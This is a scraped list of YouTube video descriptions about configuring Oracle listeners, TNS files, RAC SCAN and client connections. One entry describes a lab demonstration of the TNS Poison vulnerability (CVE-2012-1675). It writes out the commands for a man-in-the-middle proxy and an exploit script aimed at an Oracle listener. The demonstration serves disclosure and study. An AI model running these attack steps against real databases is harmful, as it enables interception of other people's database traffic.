This video describes how to create a net service name and how to create and configure a listener
Views: 11461 regina nkemchor
Hello friends in today video i am going to explain you that how to perform a Oracle Networking Between Server and Client machine using TNS listener. #OracleNetworking #ServerandClientmachine #TNSlistener Oracle database Unbeatable,Unbreakable Platform..
Views: 13663 Oracle World
In this video you will understand about VIP/ VIPNAME which are used in Oracle RAC. This understanding is necessary to understand about SCAN in Oracle RAC/ GI. Our Upcoming Online Course Schedule is available in the url below https://docs.google.com/spreadsheets/d/1qKpKf32Zn_SSvbeDblv2UCjvtHIS1ad2_VXHh2m08yY/edit#gid=0 Reach us at [email protected]
Views: 13857 Ramkumar Swaminathan
Oracle - Understanding the tnsnames.ora and listener.ora files
Views: 192118 Chris Ostrowski
Load Balancing Advisory is a feature that helps SCAN LISTENER to balance load across the instances in Oracle RAC 11gR2. This video will help you deep dive into concepts and facts on the same. Look at the blog of this video at: www.orskl.com In need of Oracle DBA training: www.orskl.com/training WhatsApp for traning at : +919951696808
Views: 4280 OrSkl Academy
This video explains about the steps for connecting to a RAC database using SCAN Name.Also we discuss database connecting using OS authentication and using normal VIP
Views: 32194 Wysheid Wysheid
https://dbagenesis.com/p/oracle-11g-advanced-dba DBA Genesis provides all you need to build and manage effective Oracle technology learning. We designed DBA Genesis as a simple to use yet powerful online Oracle learning system for students. Each of our courses is taught by an expert instructor, and every course is available on demand. A listener is a separate process than your database processes which runs on the database server to accept incoming connections. Any client connection first lands on to database listener and then its handed over to the PMON process. All the databases running on a server must have their services registered with the listener or else listener will not be able to accept the incoming connections.
Views: 25268 DBA Genesis
In this video, the last in the series about SCAN, you will understand how SCAN helps in a Cluster with server pools to enable applications to connect easily to Database Services. Our Upcoming Online Course Schedule is available in the url below https://docs.google.com/spreadsheets/d/1qKpKf32Zn_SSvbeDblv2UCjvtHIS1ad2_VXHh2m08yY/edit#gid=0 Reach us at [email protected]
Views: 10557 Ramkumar Swaminathan
Before starting the Grid infrastructure installation, we should check the private, publi,VIP, SCAN name(and SCAN IPs) are correctly configured or not. this is the best test i ever seen.
Views: 2287 RAMESH NAIDU
Oracle clients communicate with oracle databases using Oracle Net Services over TCP/IP. On database server, oracle Net Services has a component called LISTENER that listens connection request on a port. A Listener has a configuration file called listener.ora in $ORACLE_HOME/network/admin folder. Sample listener.ora file:
Views: 73 ORACLE-DBA Workshops
This video demonstrates how to do DNS lookups and idenitify server and client host names and IP addresses in SQL and PL/SQL from Oracle. For more information see: https://oracle-base.com/articles/misc/identifying-host-names-and-addresses For information on Network Access Control Lists (ACLs) see: https://oracle-base.com/articles/11g/fine-grained-access-to-network-services-11gr1 https://oracle-base.com/articles/12c/fine-grained-access-to-network-services-enhancements-12cr1 Website: https://oracle-base.com Blog: https://oracle-base.com/blog Twitter: https://twitter.com/oraclebase Cameo by Mike Donovan Blog: http://blog.dbvisit.com/author/miked/ Twitter: https://twitter.com/dbvisitmike Website: http://www.dbvisit.com/ Cameo appearances are for fun, not an endorsement of the content of this video.
Views: 8435 ORACLE-BASE.com
In this video i'm going to demonstrate you how to configure listener and database in oracle 11g on windows platform step by step.
Views: 2051 OCP Technology
Direct oracle database connection without oracle client installed. DreamCoder for Oracle TCP-IP Direct connection feature.
Views: 4318 sqldeveloper
Subscribe: http://www.youtube.com/subscription_center?add_user=wowzataz Blog : http://eromang.zataz.com Twitter : http://twitter.com/eromang Timeline : Vulnerability discovered by Joxean Koret in 2008 Vulberability reported to the vendor by Joxean Koret in 2008 Public release of the vulnerability in Oracle CPU by the vendor the 2012-04-17 Details and PoC of the vulnerability released by Joxean Koret the 2012-04-18 Fake patching of the vulnerability discovered by Joxean Koret the 2012-04-26 PoC provided by: Joxean Koret Reference(s) : Oracle CPU of April 2012 CVE-2012-1675 Affected versions : All versions of Oracle Database Tested with Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 Description : Usage of Joxean Koret PoC require that the database name has a length of 6 characters. Database server characteristics : IP : 192.168.178.150 Oracle version : 10.2.0.4.0 Database listener port : 1521 Database listener has no clients IPs restrictions Database name : arcsig Database username : arcsig Database password : testtest Database client characteristics : IP : 192.168.178.151 SQL*Plus version : 10.2.0.4.0 tnsnames.ora file as bellow : TARGET.DB= (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.178.150)(PORT = 1521)) (CONNECT_DATA = (SERVICE_NAME= arcsig) ) ) Attacker characteristics : IP : 192.168.178.100 Usage of PoC provided by Joxean Koret Demonstration : PoC validation phase On database server : ifconfig On database client : ifconfig sqlplus -v cat tnsnames.ora sqlplus [email protected] HELP QUIT PoC exploitation phase On attacker : Start the MITM proxy, how will intercept the communication between the client and the database : sudo python proxy.py -l 192.168.178.100 -p 1521 -r 192.168.178.150 -P 1521 Start the vulnerability exploitation : python tnspoisonv1.py 192.168.178.100 1521 arcsig 192.168.178.150 1521 On the database client : Connect with SQL*Plus sqlplus [email protected] ? ? INDEX TOTO QUIT You can see that the communication are intercepted by the proxy.
Views: 11808 Eric Romang
Single Client Access Name (SCAN) is an Oracle Real Application Clusters (Oracle RAC) feature that provides a single name for clients to access Oracle Databases running in a cluster. For more information please visit https://www.koenig-solutions.com/oracle-database-12c-rac-administration-training.aspx
Views: 644 Koenig Solutions
RAC environments are very complex ones and include many different components. One of the goals of RAC database is to balance the load between the different instances and listeners. In this session we will dive into the load balancing mechanism. We will talk about the client configuration, SCAN listeners, services and more, and see some guidelines and best practices to better utilize the balance between the nodes. Speaker: Liron Amitzi, Founder of DBAces Canada
Views: 24529 Oracle RAC SIG
...................................................Finish.................................................. To get my others videos just go to the link which is given below.. https://www.youtube.com/channel/UCFcOAx6xy6aQgKzJFaJ_8zQ Stay connected with information... Stay Connected with my tutorial.. Stay connected with updated reports tutorial... Keep learning about Oracle Databese ....... Thanks for watching... Subscribe my Channel : Mahfujur Rahman Subscribe my channel : Mahfujur Rahman Thanks For Watching MdMahfujur Rahman Database Design and Development IDB-BISEW IT Scholarship Project. 01673472384
Views: 23516 Mahfujur Rahman
https://dbagenesis.com/p/oracle-11gr2-rac-for-beginners Oracle RAC technology is the advance level of database which is designed to provide high availability and scalability. Oracle RAC is installed on multiple servers and it forms the foundation for database cloud. Build a Strong Foundation in Oracle grid, Clusterware Installation with this Video Course for Beginners. Introduction to clusterware technology Oracle cluster node setup Oracle 11g grid software installation Setup two node RAC Create first Oracle RAC database Oracle RAC and ASM administration A strong RAC Beginners Course for IT Professionals World Wide! Oracle RAC allows multiple computers to run Oracle RDBMS software simultaneously while accessing a single database, thus providing clustering. The main aim of Oracle RAC online course is to implement a clustered database to provide performance, scalability and resilience. It’s a clustered version of Oracle Database based on a comprehensive high availability stack The Oracle 11gR2 Real Application Clusters Administration course describes the Oracle RAC architecture, hands on experience and Oracle Real Application Clusters multi node installations. This course is for people who have prior knowledge on Oracle database administration and covers knowledge on topics like Oracle RAC Cluster, Oracle AMS, Oracle RAC administration, Oracle RAC Installation, Oracle RAC on VirtualBox and many more.
Views: 21445 DBA Genesis
Oracle Network Configuration
Views: 1507 UNIRAC.IN
A listener is configured with one or more listening protocol addresses, information about supported services, and parameters that control its run-time behavior. The listener configuration is stored in a configuration file named listener.ora. Because all of the configuration parameters have default values, it is possible to start and use a listener with no configuration. This default listener has a name of LISTENER, supports no services on startup, and listens on the following TCP/IP protocol address: (ADDRESS=(PROTOCOL=tcp)(HOST=host_name)(PORT=1521)) The listener forwards client requests to supported services. These services can be configured statically in the listener.ora file or they can be dynamically registered with the listener. This dynamic registration feature is called service registration. The registration is performed by the PMON process, an instance background process of each database instance that is configured in the database initialization parameter file. Dynamic service registration does not require any manual configuration in the listener.ora file. Service registration offers the following benefits: Simplified configuration Service registration reduces the need for the SID_LIST_listener_name parameter setting, which specifies information about the databases served by the listener, in the listener.ora file.
Views: 1022 Md Arshad
The listener processes on a server detect incoming requests from clients for connection - by default on port 1521 and manage network-traffic once clients have connected to an Oracle database. The listener uses a configuration-file - listener.ora - to help keep track of names, protocols, services and hosts.
Views: 2516 Harikrishna Mekala
Step 1: Select “Net Configuration Assistant from Oracle” Step 2: Select Listener Configuration option. Step 3: Select the appropriate Operation. Step 4: Enter the respective Listener name. Step 5: Select “TCP” protocol for the listener. Step 6: Enter respective Port number. Step 7: If we don’t need to install another listener the select ‘no’ else select ‘yes’ for configuring another listener. Step 8 : Listener Configuration Completed.
Views: 5062 Chris Walker
Configure Oracle Listener | listener | listener configuration in oracle 12c | Oracle Listener ----------------------------------------------------------------------------------- In this tutorial i'm going to demonstrate you how to configure oracle network environment step by step. Configure Oracle Listener,listener,listener configuration in oracle 12c,Oracle Listener, listener, listener.ora, database listener, database connection, how to configure oracle listener, editing listener.ora file, network, system, management, configure listener manually, oracle cloud, database 12c, dba genesis, checking listener status, stop listener, start listener, database services, database, create, 11g, dba, db, beginner, how to configure listener in oracle database 11g, oracle warehouse builder, listener configuration file, tnsnames.ora,Oracle listener configuration,listener configuration in oracle 11g, Please Subscribe My Channel
Views: 141 Learning With Mahamud
Understanding Oracle Listener and Dynamic Service Registration
Views: 6436 Satish Lodam
Configure Listener | listener Services not Starting | ORA 12541 TNS no listener | up netca in Oracle --------------------------------------------------------------------------------------------------- In this tutorial i'm going to demonstrate you how to configure oracle network environment step by step. Configure Listener,listener,listener Services not Starting,ORA 12541 TNS no listener,up netca in Oracle, listener, listener.ora, database listener, database connection, how to configure oracle listener, editing listener.ora file, network, system, management, configure listener manually, oracle cloud, database 12c, dba genesis, checking listener status, stop listener, start listener, database services, database, create, 11g, dba, db, beginner, how to configure listener in oracle database 11g, oracle warehouse builder, listener configuration file, tnsnames.ora,Oracle listener configuration,listener configuration in oracle 11g, Oracle Listener how to handle error message ORA 12541 TNS no listener,netca oracle 12c,how to up netca in database oracle,configuring the oracle network environment,how to create listener in oracle 12c, how to create listener in oracle 12c manually,listener services not starting,how to start oracle listener in windows,how to start listener in oracle 12c, lsnrctl start lsnrctl services lsnrctl status Please Subscribe My Channel
Views: 954 Learning With Mahamud
this video explains how you can install oracle 11g release 1 in windows 10,configuring listener and configuring database Music:www.bensound.org
Views: 318 Conceptual
If you have an Oracle database on your network which is able to connect to with Oracle SQL Developer, using hostname, port, username, password and the SID. you need to connect another application, however it uses the Service Name instead of the SID. it is the way for to you to determine the SERVICE_NAME of the database when you am connected in SQL Developer via the SID thanking you... just share this video to your friends...
Views: 17100 w3h
Oracle Cloud Infrastructure's virtual networking service includes the ability to set IP addresses as route targets and to configure secondary private IP addresses. To learn more, check out the following resources: https://docs.us-phoenix-1.oraclecloud.com/Content/Network/Tasks/managingroutetables.htm#privateip
Views: 765 Oracle Cloud Infrastructure
Blog Link: http://bit.ly/how-to-create-new-connection-in-sql-developer Wishlist: http://bit.ly/wishlist-amazon This SQL tutorial and Oracle database 11g tutorial for beginners will show how to connect to database either on a local machine or on a machine in your LAN using ip address. Tool used in this tutorial is SQL developer & command prompt. This tutorial series is part of SQL expert exam certification training. If you are preparing for SQL certification you can use my tutorials. This SQL Tutorial is a part of free training. Copy Cloud referral link || Use this link to join copy cloud and get 20GB of free storage https://copy.com?r=j7eYO7 Contacts Email [email protected] Twitter https://twitter.com/rebellionrider Instagram http://instagram.com/RebellionRider Facebook. https://www.facebook.com/imthebhardwaj Linkedin. in.linkedin.com/in/mannbhardwaj/ Thanks for linking, commenting, sharing and watching more of our videos The Code makers
Views: 282798 Manish Sharma
Views: 17245 Wysheid Wysheid
HOW TO CREATE LINKED SERVER AND HOW TO QUERY ORACLE DATABASE FROM SQL SERVER MANAGEMENT STUDIO. SQL server 2017 makes it easy to configure linked server. You can use open-query to get or manipulate data of linked server database. CONFIGURATION SUMMARY: PROVIDER : oracle provider for oledb. DATA SOURCE : It is usually a combination of oracle server IP: port number/t.n.s listener name. e.g. 192.168.1.10:5121/orcl OPEN QUERY : select * form openquery(linked_server_name, ' sql query statement ') Configure a linked server to enable the SQL Server Database Engine to execute commands against OLE DB data sources outside of the instance of SQL Server. Typically linked servers are configured to enable the Database Engine to execute a Transact-SQL statement that includes tables in another instance of SQL Server, or another database product such as Oracle. Many types OLE DB data sources can be configured as linked servers, including Microsoft Access and Excel. Linked servers offer the following advantages: • The ability to access data from outside of SQL Server. • The ability to issue distributed queries, updates, commands, and transactions on heterogeneous data sources across the enterprise. • The ability to address diverse data sources similarly. An oracle linked server require OLE DB provider. An OLE DB provider is a DLL that manages and interacts with a specific data source. If your oracle database is not in same server then you have to install The Oracle Data Access Components (ODAC) for Windows consists of Oracle client side drivers. An OLE DB data source identifies the specific database that can be accessed through OLE DB. Although data sources queried through linked server definitions are ordinarily databases, OLE DB providers exist for a variety of files and file formats. These include text files, spreadsheet data, and the results of full-text content searches. Typically, linked servers are used to handle distributed queries. When a client application executes a distributed query through a linked server, SQL Server parses the command and sends requests to OLE DB. The row set request may be in the form of executing a query against the provider or opening a base table from the provider.
Views: 1549 G Entertainment
troubleshooting a startup issue in Oracle 11g R2 RAC
Views: 22965 Wysheid Wysheid
Create your own Services And Oracle Warehouse Builder User By Config The Database And listener
Views: 29758 PRAVEEN DAS
In this videocast Alex Gorbachev explains how to correctly configure Oracle RAC database to for connectivity with Virtual IP's (VIP's) and demonstrate what happens when database servers are configured incorrectly.
Views: 10739 Alex Gorbachev
In this video we will be seeing, how to connect Oracle Database 12c running on Windows Server 2016 Guest VM to Host using SQL Developer 4.2. Here VMWare Workstation Player is used as Hypervisor and Windows 8.1 is the host machine running another Windows Guest VM via vmware player.
Views: 3877 java frm
This Video discuss startup and shutdown steps for a RAC database
Views: 29006 Wysheid Wysheid